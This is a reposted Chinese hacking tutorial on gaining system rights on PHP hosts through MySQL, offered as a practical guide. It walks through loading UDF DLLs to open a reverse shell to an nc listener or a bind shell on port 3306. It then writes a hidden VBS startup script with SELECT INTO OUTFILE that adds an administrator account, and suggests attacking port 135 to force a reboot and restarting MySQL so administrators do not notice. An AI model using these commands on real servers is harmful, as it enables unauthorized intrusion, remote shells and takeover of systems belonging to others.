PHP主机如何利用MYSQL提权

来源:互联网 发布:java html压缩成一行 编辑:程序博客网 时间:2024/04/30 03:52
 
serv提权方式人人都会用了,搞得现在的主机都配置得非常安全,看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一,还有其他的pcanywhere获取密码,替换服务,等等。但是现在也没这么好搞了,随着安全意识的提高,之前的方式估计不怎么管用,现在我给大家介绍一下一种新的提权方式,看过古典LM做的那动画的朋友都知道吧?利用MYSQLl弱口令拿到系统权限,在WEBSHEL上也可实现,不过有个前提,就是目标主机装有MYSQL,而你又知道MYSQL的用户和密码,才可以进行提权。WEBSHELL获得了,找用户和密码也不是什么难事。现在我拿我另外一台机器做示范,已经把PHPSHELL传上去了,如图1
一般来说连接MYSQL的帐户密码很好找,随便编辑一个PHP文件,就看到了。如图2

看到了吧,用户名:root 密码:123456 库名:php 然后怎么办呢?先用SQL Query 建立连接,如图3

哈连接成功了,现在开始将我们的提权用滴东东:Mix.dll My_udf.dll上传上去先.OK,传好了,Mix.dll用于反弹连接,My_udf.dll是正向连接,直接用连接对方的3306端口然后输入密码就可获得CMDSHELL。好,不多说了,传上去之后呢就执行以下SQL语句create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll'; 来注册函数.
出现SQL语句成功执行!如图4

离拿到CMDSHELL已经不远了,我们先用NC在本地监听一个端口先,Nc -l -p 1234 (这个我想不用截图了吧)而后执行语句:select Mixconnect('192.168.1.254','1234'); 来激活那个函数,如图5

执行成功,然后看看我们的NC有反映没,如图6

成功得到CMSHELL,不过这时对方的MYSQL已经假死咯,我们要把MYSQL服务进程给kill掉,然后重新启动MYSQL服务才行,不然管理员发现网站运行不了了,那就。。。。如果该服务器不允许连接任何外部IP和端口,而他的3306端口却是对外开的!这时My_udf.dll就该上场了,使用方法和Mix一样,连接MYSQL成功后执行如下语句:create function my_udfdoor returns string soname 'D:\\php\\php\my_udf.dll'; 执行语句成功后,然后我们就开始激活这个函数,输入语句:select my_udfdoor (''); 然后用nc连接3306端口,然后输入fuck 就可以得到一个cmdshell了如图7


OK成功!测试结束咯
===============================================================================

对MYSQL提权的补充

mysql用户root密码为弱口令的攻击

1、连接到对方mysql 服务器
  mysql -u root -h 192.168.0.1

  mysql.exe 这个程序在你安装了mysql的的bin目录中   

  2、让我们来看看服务器中有些什么数据库

  mysql>show databases;

  mysql默认安装时会有mysql、test这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。   

  3、让我们进入数据库

  mysql>use test;

  我们将会进入test数据库中   

  4、查看我们进入数据库中有些什么数据表

  mysql>show tables;

  默认的情况下,test中没有任何表的存在。

  以下为关键的部分   

  5、在test数据库下创建一个新的表;

  mysql>create table a (cmd text);

  好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。   

  6、在表中插入内容

  mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

  mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

  mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

  注意双引号和括号以及后面的"0"一定要输入!我们将用这三条命令来建立一个vbs的脚本程序!   

  7、好了,现在我们来看看表a中有些什么

  mysql>select * from a;

  我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步   

  8、输出表为一个vbs的脚本文件

  mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";

  我们把我们表中的内容输入到启动组中,是一个vbs的脚本文件!注意"\"符号。   

  9、看到这大家肯定知道了,就是利用mysql输出一个可执行的文件而已。为什么不用bat呢,因为启动运行时会有明显的dos窗口出来,而用vbs脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。